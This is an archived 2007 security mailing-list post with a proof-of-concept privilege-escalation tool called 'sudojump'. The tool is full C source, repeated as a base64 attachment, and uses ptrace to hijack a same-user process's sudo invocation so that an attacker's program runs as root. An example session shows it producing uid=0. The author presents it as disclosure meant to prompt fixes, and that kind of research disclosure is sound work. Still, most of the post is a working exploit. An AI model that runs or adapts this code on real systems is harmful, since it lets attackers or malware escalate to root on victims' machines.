The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


jumping sudo using ptrace on Linux/i386


<< Previous INDEX Search src / Print Next >>
Date: Sat, 2 Jun 2007 11:08:32 +1000
From: "Trent Waddington" <trent.waddington@gmail.com.>
To: [email protected]
Subject: jumping sudo using ptrace on Linux/i386
MIME-Version: 1.0
Content-Type: multipart/mixed; 
        boundary="----=_Part_12458_18925389.1180746512861"
X-Virus-Scanned: antivirus-gw at tyumen.ru

------=_Part_12458_18925389.1180746512861
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

For many years now I've been making the claim that one can use the
ptrace api to intecept the  execution of sudo of another process
(running as the same user) and replace the requested command with your
own.  For example, if a user was to do:

sudo apt-get install foo
Password:
...

they are instructing sudo to run apt-get, but an attacker can use the
ptrace api to insert a new argument before apt-get which invokes their
own program, which might do something malicious and then execute the
original command requested of the user.

This could be useful to an attacker in a number situations.  For
example, if the attacker has aquired access to a given account and
notes that the account owner executes sudo, he can use this technique
to escalate his privileges.  Perhaps more importantly, however, is
that a trojan or a virus can use this technique to get root whereby
its capability is greatly increased.

Similar attacks can be directed at su and other suid/sgid programs.

All of this is most likely not very much of a surprise to the security
community, and I shall not present any possible remedy, except to say
that ptrace is necessarily a very capable api and should not be
implicated as "the" cause of this potential insecurity.

My purpose of writing this post is to provide demonstration code that,
I hope, will clarify any misunderstandings about the potiential of
this technique, and move it from the often ignored domain of
theoretical to practical threat so that it may be suitably addressed.

See below or attached.

Trent

-----------------

Example of use.

Start a new xterm:
trentw@linux:~/work/sudojump$ ps
  PID TTY          TIME CMD
 1153 pts/5    00:00:00 bash
 1163 pts/5    00:00:00 ps

In other xterm:
trentw@linux:~/work/sudojump$ ./sudojump -d 1153 /usr/bin/id
execve (/usr/bin/sudo) "sudo", "apt-get", "update"

Back in xterm with pid 1153:
trentw@linux:~/work/sudojump$ sudo apt-get update
uid=0(root) gid=0(root) groups=0(root)

-----------------

#include <unistd.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <linux/user.h>
#include <stdlib.h>
#include <getopt.h>
#include <string.h>

#define MAX_PATH 1024
#define MAX_ARGS 128
#define MAX_ATTACHED_PIDS 1024
int num_attached_pids = 0;
pid_t attached_pids[MAX_ATTACHED_PIDS];

void detach(void) {
    int i;
    for (i = 0; i < num_attached_pids; i++)
        if (attached_pids[i] != 0)
            ptrace(PTRACE_DETACH, attached_pids[i], 0, 0);
}

void detach_pid(pid_t pid) {
    int i;
    for (i = 0; i < num_attached_pids; i++)
        if (attached_pids[i] == pid) {
            attached_pids[i] = 0;
            ptrace(PTRACE_DETACH, pid, 0, 0);
        }

    while (attached_pids[num_attached_pids - 1] == 0)
        num_attached_pids--;
}

void attach(pid_t pid) {
    if (num_attached_pids == MAX_ATTACHED_PIDS) {
        fprintf(stderr, "cannot attach to anymore pids\n");
        return;
    }
    attached_pids[num_attached_pids] = pid;
    if (ptrace(PTRACE_ATTACH, pid, 0, 0) == -1) {
        fprintf(stderr, "error attaching to pid %i\n", pid);
        return;
    }
    num_attached_pids++;
}

void version() {
    printf("sudojump version 0.1\n");
}

void usage() {
    printf("usage: sudojump [-c] [-d] [-v] [-h] <pid> <file to exec>\n");
    printf("    -d drop original arguments.\n");
    printf("    -v prints version info.\n");
    printf("    -h prints this help.\n");
    printf("\n");
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        usage();
        return 1;
    }

    int droporiginalargs = 0;

    int opt;
    while ((opt = getopt(argc, argv, "vdh")) != -1) {
        switch(opt) {
            case 'd':
                droporiginalargs = 1;
                break;
            case 'v':
                version();
                return 1;
            case 'h':
                usage();
                return 1;
        }
    }

    const char *jumpto = argv[optind + 1];

    attach(atoi(argv[optind]));
    if (num_attached_pids == 0)
        return 1;

    atexit(detach);

    ptrace(PTRACE_SYSCALL, attached_pids[0], 0, 0);

    int count = 0;

    for(;;) {
        int status;
        int pid = wait(&status);
        if (WIFSTOPPED(status)) {
            struct user_regs_struct regs;
            ptrace(PTRACE_GETREGS, pid, 0, &regs);

            if (regs.orig_eax == 2 || regs.orig_eax == 120) {
                if (regs.eax > 0) {
                    attach(regs.eax);
                }
            }

            if (regs.orig_eax == 11 && regs.ecx) {
                int i;
                char path[MAX_PATH];
                unsigned int argptrs[MAX_ARGS];
                char *args[MAX_ARGS];
                int argcount;

                // get the path of the file to be executed
                path[MAX_PATH - 1] = 0;
                for (i = 0; i < MAX_PATH - 1; i++) {
                    unsigned int c = ptrace(PTRACE_PEEKTEXT, pid,
regs.ebx + i, 0);
                    path[i] = c & 0xff;
                    if ((c & 0xff) == 0) break;
                }

                // get the pointers for the arguments being passed
                argptrs[MAX_ARGS - 1] = 0;
                for (i = 0; i < MAX_ARGS - 1; i++) {
                    unsigned int p = ptrace(PTRACE_PEEKTEXT, pid,
regs.ecx + i * 4, 0);
                    argptrs[i] = p;
                    if (p == 0) break;
                }

                // now get the arguments
                for (i = 0; argptrs[i]; i++) {
                    int j;

                    // get length of arg string
                    for (j = 0; ; j++) {
                        unsigned int c = ptrace(PTRACE_PEEKTEXT, pid,
argptrs[i] + j, 0);
                        if ((c & 0xff) == 0) break;
                    }

                    args[i] = malloc(j + 1);

                    // get the string
                    for (j = 0; ; j++) {
                        unsigned int c = ptrace(PTRACE_PEEKTEXT, pid,
argptrs[i] + j, 0);
                        args[i][j] = c & 0xff;
                        if ((c & 0xff) == 0) break;
                    }
                }
                args[i] = 0;
                argcount = i;

                // print out the path and the arguments, for reference
                printf("execve (%s)", path);
                for (i = 0; args[i]; i++) {
                    if (i != 0)
                        putchar(',');
                    printf(" \"%s\"", args[i]);
                }
                printf("\n");

                // if the file being run is sudo, run our file instead
                if (!strcmp(path, "/usr/bin/sudo")) {
                    // firstly, forget about it if they're passing options
                    // (this is left as an exercise to the reader)
                    if (args[1][0] != '-') {
                        regs.esp -= strlen(jumpto) + 1 + 4 * (argcount + 2);
                        for (i = 0; jumpto[i]; i++)
                            ptrace(PTRACE_POKETEXT, pid, regs.esp + i,
jumpto[i]);
                        regs.ecx = regs.esp + i + 1;
                        ptrace(PTRACE_POKETEXT, pid, regs.ecx, argptrs[0]);
                        ptrace(PTRACE_POKETEXT, pid, regs.ecx + 4, regs.esp);
                        if (droporiginalargs) {
                            ptrace(PTRACE_POKETEXT, pid, regs.ecx + 8, 0);
                        } else {
                            for (i = 1; i < argcount + 1; i++)
                                ptrace(PTRACE_POKETEXT, pid, regs.ecx
+ 4 + i * 4, argptrs[i]);
                        }
                        ptrace(PTRACE_SETREGS, pid, 0, &regs);
                    }
                }

                // if the file being run is suid or sgid, we must detach now
                // otherwise it will not run with those permissions
                struct stat st;
                if (stat(path, &st) == 0 &&
                        ((st.st_mode & S_ISUID) ||
                         (st.st_mode & S_ISGID))) {
                    detach_pid(pid);
                    pid = 0;
                }

                // free args
                for (i = 0; args[i]; i++)
                    free(args[i]);
            }

            if (pid)
                ptrace(PTRACE_SYSCALL, pid, 0, 0);
        }
    }

    return 0;
}

------=_Part_12458_18925389.1180746512861
Content-Type: text/plain; name=sudojump.c; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: base64
X-Attachment-Id: f_f2fdomes
Content-Disposition: attachment; filename="sudojump.c"

I2luY2x1ZGUgPHVuaXN0ZC5oPgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN5cy9wdHJh
Y2UuaD4KI2luY2x1ZGUgPHN5cy90eXBlcy5oPgojaW5jbHVkZSA8c3lzL3dhaXQuaD4KI2luY2x1
ZGUgPHN5cy9zdGF0Lmg+CiNpbmNsdWRlIDxsaW51eC91c2VyLmg+CiNpbmNsdWRlIDxzdGRsaWIu
aD4KI2luY2x1ZGUgPGdldG9wdC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CgojZGVmaW5lIE1BWF9Q
QVRIIDEwMjQKI2RlZmluZSBNQVhfQVJHUyAxMjgKI2RlZmluZSBNQVhfQVRUQUNIRURfUElEUyAx
MDI0CmludCBudW1fYXR0YWNoZWRfcGlkcyA9IDA7CnBpZF90IGF0dGFjaGVkX3BpZHNbTUFYX0FU
VEFDSEVEX1BJRFNdOwoKdm9pZCBkZXRhY2godm9pZCkgewogICAgaW50IGk7CiAgICBmb3IgKGkg
PSAwOyBpIDwgbnVtX2F0dGFjaGVkX3BpZHM7IGkrKykgCiAgICAgICAgaWYgKGF0dGFjaGVkX3Bp
ZHNbaV0gIT0gMCkKICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9ERVRBQ0gsIGF0dGFjaGVkX3Bp
ZHNbaV0sIDAsIDApOwp9Cgp2b2lkIGRldGFjaF9waWQocGlkX3QgcGlkKSB7CiAgICBpbnQgaTsK
ICAgIGZvciAoaSA9IDA7IGkgPCBudW1fYXR0YWNoZWRfcGlkczsgaSsrKSAKICAgICAgICBpZiAo
YXR0YWNoZWRfcGlkc1tpXSA9PSBwaWQpIHsKICAgICAgICAgICAgYXR0YWNoZWRfcGlkc1tpXSA9
IDA7CiAgICAgICAgICAgIHB0cmFjZShQVFJBQ0VfREVUQUNILCBwaWQsIDAsIDApOwogICAgICAg
IH0KCiAgICB3aGlsZSAoYXR0YWNoZWRfcGlkc1tudW1fYXR0YWNoZWRfcGlkcyAtIDFdID09IDAp
CiAgICAgICAgbnVtX2F0dGFjaGVkX3BpZHMtLTsKfQoKdm9pZCBhdHRhY2gocGlkX3QgcGlkKSB7
CiAgICBpZiAobnVtX2F0dGFjaGVkX3BpZHMgPT0gTUFYX0FUVEFDSEVEX1BJRFMpIHsKICAgICAg
ICBmcHJpbnRmKHN0ZGVyciwgImNhbm5vdCBhdHRhY2ggdG8gYW55bW9yZSBwaWRzXG4iKTsKICAg
ICAgICByZXR1cm47CiAgICB9CiAgICBhdHRhY2hlZF9waWRzW251bV9hdHRhY2hlZF9waWRzXSA9
IHBpZDsKICAgIGlmIChwdHJhY2UoUFRSQUNFX0FUVEFDSCwgcGlkLCAwLCAwKSA9PSAtMSkgewog
ICAgICAgIGZwcmludGYoc3RkZXJyLCAiZXJyb3IgYXR0YWNoaW5nIHRvIHBpZCAlaVxuIiwgcGlk
KTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICBudW1fYXR0YWNoZWRfcGlkcysrOwp9Cgp2b2lk
IHZlcnNpb24oKSB7CiAgICBwcmludGYoInN1ZG9qdW1wIHZlcnNpb24gMC4xXG4iKTsKfQoKdm9p
ZCB1c2FnZSgpIHsKICAgIHByaW50ZigidXNhZ2U6IHN1ZG9qdW1wIFstY10gWy1kXSBbLXZdIFst
aF0gPHBpZD4gPGZpbGUgdG8gZXhlYz5cbiIpOwogICAgcHJpbnRmKCIgICAgLWQgZHJvcCBvcmln
aW5hbCBhcmd1bWVudHMuXG4iKTsKICAgIHByaW50ZigiICAgIC12IHByaW50cyB2ZXJzaW9uIGlu
Zm8uXG4iKTsKICAgIHByaW50ZigiICAgIC1oIHByaW50cyB0aGlzIGhlbHAuXG4iKTsKICAgIHBy
aW50ZigiXG4iKTsKfQoKaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKiphcmd2KQp7CiAgICBpZiAo
YXJnYyA8IDIpIHsKICAgICAgICB1c2FnZSgpOwogICAgICAgIHJldHVybiAxOwogICAgfQoKICAg
IGludCBkcm9wb3JpZ2luYWxhcmdzID0gMDsKCiAgICBpbnQgb3B0OwogICAgd2hpbGUgKChvcHQg
PSBnZXRvcHQoYXJnYywgYXJndiwgInZkaCIpKSAhPSAtMSkgewogICAgICAgIHN3aXRjaChvcHQp
IHsKICAgICAgICAgICAgY2FzZSAnZCc6CiAgICAgICAgICAgICAgICBkcm9wb3JpZ2luYWxhcmdz
ID0gMTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICd2JzoKICAgICAg
ICAgICAgICAgIHZlcnNpb24oKTsKICAgICAgICAgICAgICAgIHJldHVybiAxOwogICAgICAgICAg
ICBjYXNlICdoJzoKICAgICAgICAgICAgICAgIHVzYWdlKCk7CiAgICAgICAgICAgICAgICByZXR1
cm4gMTsKICAgICAgICB9CiAgICB9CgogICAgY29uc3QgY2hhciAqanVtcHRvID0gYXJndltvcHRp
bmQgKyAxXTsKCiAgICBhdHRhY2goYXRvaShhcmd2W29wdGluZF0pKTsKICAgIGlmIChudW1fYXR0
YWNoZWRfcGlkcyA9PSAwKQogICAgICAgIHJldHVybiAxOwoKICAgIGF0ZXhpdChkZXRhY2gpOwoK
ICAgIHB0cmFjZShQVFJBQ0VfU1lTQ0FMTCwgYXR0YWNoZWRfcGlkc1swXSwgMCwgMCk7CgogICAg
aW50IGNvdW50ID0gMDsKCiAgICBmb3IoOzspIHsKICAgICAgICBpbnQgc3RhdHVzOwogICAgICAg
IGludCBwaWQgPSB3YWl0KCZzdGF0dXMpOwogICAgICAgIGlmIChXSUZTVE9QUEVEKHN0YXR1cykp
IHsKICAgICAgICAgICAgc3RydWN0IHVzZXJfcmVnc19zdHJ1Y3QgcmVnczsKICAgICAgICAgICAg
cHRyYWNlKFBUUkFDRV9HRVRSRUdTLCBwaWQsIDAsICZyZWdzKTsKICAgICAgICAKICAgICAgICAg
ICAgaWYgKHJlZ3Mub3JpZ19lYXggPT0gMiB8fCByZWdzLm9yaWdfZWF4ID09IDEyMCkgewogICAg
ICAgICAgICAgICAgaWYgKHJlZ3MuZWF4ID4gMCkgewogICAgICAgICAgICAgICAgICAgIGF0dGFj
aChyZWdzLmVheCk7ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfQogICAgICAg
ICAgICB9CgogICAgICAgICAgICBpZiAocmVncy5vcmlnX2VheCA9PSAxMSAmJiByZWdzLmVjeCkg
ewogICAgICAgICAgICAgICAgaW50IGk7CiAgICAgICAgICAgICAgICBjaGFyIHBhdGhbTUFYX1BB
VEhdOwogICAgICAgICAgICAgICAgdW5zaWduZWQgaW50IGFyZ3B0cnNbTUFYX0FSR1NdOwogICAg
ICAgICAgICAgICAgY2hhciAqYXJnc1tNQVhfQVJHU107CiAgICAgICAgICAgICAgICBpbnQgYXJn
Y291bnQ7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8vIGdldCB0aGUgcGF0aCBv
ZiB0aGUgZmlsZSB0byBiZSBleGVjdXRlZAogICAgICAgICAgICAgICAgcGF0aFtNQVhfUEFUSCAt
IDFdID0gMDsKICAgICAgICAgICAgICAgIGZvciAoaSA9IDA7IGkgPCBNQVhfUEFUSCAtIDE7IGkr
KykgewogICAgICAgICAgICAgICAgICAgIHVuc2lnbmVkIGludCBjID0gcHRyYWNlKFBUUkFDRV9Q
RUVLVEVYVCwgcGlkLCByZWdzLmVieCArIGksIDApOwogICAgICAgICAgICAgICAgICAgIHBhdGhb
aV0gPSBjICYgMHhmZjsKICAgICAgICAgICAgICAgICAgICBpZiAoKGMgJiAweGZmKSA9PSAwKSBi
cmVhazsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBnZXQgdGhlIHBvaW50
ZXJzIGZvciB0aGUgYXJndW1lbnRzIGJlaW5nIHBhc3NlZAogICAgICAgICAgICAgICAgYXJncHRy
c1tNQVhfQVJHUyAtIDFdID0gMDsKICAgICAgICAgICAgICAgIGZvciAoaSA9IDA7IGkgPCBNQVhf
QVJHUyAtIDE7IGkrKykgewogICAgICAgICAgICAgICAgICAgIHVuc2lnbmVkIGludCBwID0gcHRy
YWNlKFBUUkFDRV9QRUVLVEVYVCwgcGlkLCByZWdzLmVjeCArIGkgKiA0LCAwKTsKICAgICAgICAg
ICAgICAgICAgICBhcmdwdHJzW2ldID0gcDsKICAgICAgICAgICAgICAgICAgICBpZiAocCA9PSAw
KSBicmVhazsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBub3cgZ2V0IHRo
ZSBhcmd1bWVudHMKICAgICAgICAgICAgICAgIGZvciAoaSA9IDA7IGFyZ3B0cnNbaV07IGkrKykg
ewogICAgICAgICAgICAgICAgICAgIGludCBqOwoKICAgICAgICAgICAgICAgICAgICAvLyBnZXQg
bGVuZ3RoIG9mIGFyZyBzdHJpbmcKICAgICAgICAgICAgICAgICAgICBmb3IgKGogPSAwOyA7IGor
KykgewogICAgICAgICAgICAgICAgICAgICAgICB1bnNpZ25lZCBpbnQgYyA9IHB0cmFjZShQVFJB
Q0VfUEVFS1RFWFQsIHBpZCwgYXJncHRyc1tpXSArIGosIDApOwogICAgICAgICAgICAgICAgICAg
ICAgICBpZiAoKGMgJiAweGZmKSA9PSAwKSBicmVhazsKICAgICAgICAgICAgICAgICAgICB9Cgog
ICAgICAgICAgICAgICAgICAgIGFyZ3NbaV0gPSBtYWxsb2MoaiArIDEpOwoKICAgICAgICAgICAg
ICAgICAgICAvLyBnZXQgdGhlIHN0cmluZwogICAgICAgICAgICAgICAgICAgIGZvciAoaiA9IDA7
IDsgaisrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHVuc2lnbmVkIGludCBjID0gcHRyYWNl
KFBUUkFDRV9QRUVLVEVYVCwgcGlkLCBhcmdwdHJzW2ldICsgaiwgMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIGFyZ3NbaV1bal0gPSBjICYgMHhmZjsKICAgICAgICAgICAgICAgICAgICAgICAg
aWYgKChjICYgMHhmZikgPT0gMCkgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAg
ICAgICAgICAgfQogICAgICAgICAgICAgICAgYXJnc1tpXSA9IDA7CiAgICAgICAgICAgICAgICBh
cmdjb3VudCA9IGk7CgogICAgICAgICAgICAgICAgLy8gcHJpbnQgb3V0IHRoZSBwYXRoIGFuZCB0
aGUgYXJndW1lbnRzLCBmb3IgcmVmZXJlbmNlCiAgICAgICAgICAgICAgICBwcmludGYoImV4ZWN2
ZSAoJXMpIiwgcGF0aCk7CiAgICAgICAgICAgICAgICBmb3IgKGkgPSAwOyBhcmdzW2ldOyBpKysp
IHsKICAgICAgICAgICAgICAgICAgICBpZiAoaSAhPSAwKQogICAgICAgICAgICAgICAgICAgICAg
ICBwdXRjaGFyKCcsJyk7CiAgICAgICAgICAgICAgICAgICAgcHJpbnRmKCIgXCIlc1wiIiwgYXJn
c1tpXSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBwcmludGYoIlxuIik7Cgog
ICAgICAgICAgICAgICAgLy8gaWYgdGhlIGZpbGUgYmVpbmcgcnVuIGlzIHN1ZG8sIHJ1biBvdXIg
ZmlsZSBpbnN0ZWFkCiAgICAgICAgICAgICAgICBpZiAoIXN0cmNtcChwYXRoLCAiL3Vzci9iaW4v
c3VkbyIpKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gZmlyc3RseSwgZm9yZ2V0IGFib3V0IGl0
IGlmIHRoZXkncmUgcGFzc2luZyBvcHRpb25zCiAgICAgICAgICAgICAgICAgICAgLy8gKHRoaXMg
aXMgbGVmdCBhcyBhbiBleGVyY2lzZSB0byB0aGUgcmVhZGVyKQogICAgICAgICAgICAgICAgICAg
IGlmIChhcmdzWzFdWzBdICE9ICctJykgewogICAgICAgICAgICAgICAgICAgICAgICByZWdzLmVz
cCAtPSBzdHJsZW4oanVtcHRvKSArIDEgKyA0ICogKGFyZ2NvdW50ICsgMik7CiAgICAgICAgICAg
ICAgICAgICAgICAgIGZvciAoaSA9IDA7IGp1bXB0b1tpXTsgaSsrKQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9QT0tFVEVYVCwgcGlkLCByZWdzLmVzcCArIGksIGp1
bXB0b1tpXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3MuZWN4ID0gcmVncy5lc3AgKyBp
ICsgMTsKICAgICAgICAgICAgICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9QT0tFVEVYVCwgcGlk
LCByZWdzLmVjeCwgYXJncHRyc1swXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHB0cmFjZShQ
VFJBQ0VfUE9LRVRFWFQsIHBpZCwgcmVncy5lY3ggKyA0LCByZWdzLmVzcCk7CiAgICAgICAgICAg
ICAgICAgICAgICAgIGlmIChkcm9wb3JpZ2luYWxhcmdzKSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBwdHJhY2UoUFRSQUNFX1BPS0VURVhULCBwaWQsIHJlZ3MuZWN4ICsgOCwgMCk7CiAg
ICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBmb3IgKGkgPSAxOyBpIDwgYXJnY291bnQgKyAxOyBpKyspCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9QT0tFVEVYVCwgcGlkLCByZWdzLmVjeCArIDQgKyBp
ICogNCwgYXJncHRyc1tpXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAg
ICAgICAgICAgICAgcHRyYWNlKFBUUkFDRV9TRVRSRUdTLCBwaWQsIDAsICZyZWdzKTsKICAgICAg
ICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gaWYg
dGhlIGZpbGUgYmVpbmcgcnVuIGlzIHN1aWQgb3Igc2dpZCwgd2UgbXVzdCBkZXRhY2ggbm93CiAg
ICAgICAgICAgICAgICAvLyBvdGhlcndpc2UgaXQgd2lsbCBub3QgcnVuIHdpdGggdGhvc2UgcGVy
bWlzc2lvbnMKICAgICAgICAgICAgICAgIHN0cnVjdCBzdGF0IHN0OwogICAgICAgICAgICAgICAg
aWYgKHN0YXQocGF0aCwgJnN0KSA9PSAwICYmICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
KChzdC5zdF9tb2RlICYgU19JU1VJRCkgfHwgCiAgICAgICAgICAgICAgICAgICAgICAgICAoc3Qu
c3RfbW9kZSAmIFNfSVNHSUQpKSkgewogICAgICAgICAgICAgICAgICAgIGRldGFjaF9waWQocGlk
KTsKICAgICAgICAgICAgICAgICAgICBwaWQgPSAwOwogICAgICAgICAgICAgICAgfQoKICAgICAg
ICAgICAgICAgIC8vIGZyZWUgYXJncwogICAgICAgICAgICAgICAgZm9yIChpID0gMDsgYXJnc1tp
XTsgaSsrKQogICAgICAgICAgICAgICAgICAgIGZyZWUoYXJnc1tpXSk7CiAgICAgICAgICAgIH0K
CiAgICAgICAgICAgIGlmIChwaWQpCiAgICAgICAgICAgICAgICBwdHJhY2UoUFRSQUNFX1NZU0NB
TEwsIHBpZCwgMCwgMCk7CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiAwOwp9Cg==
------=_Part_12458_18925389.1180746512861--


<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру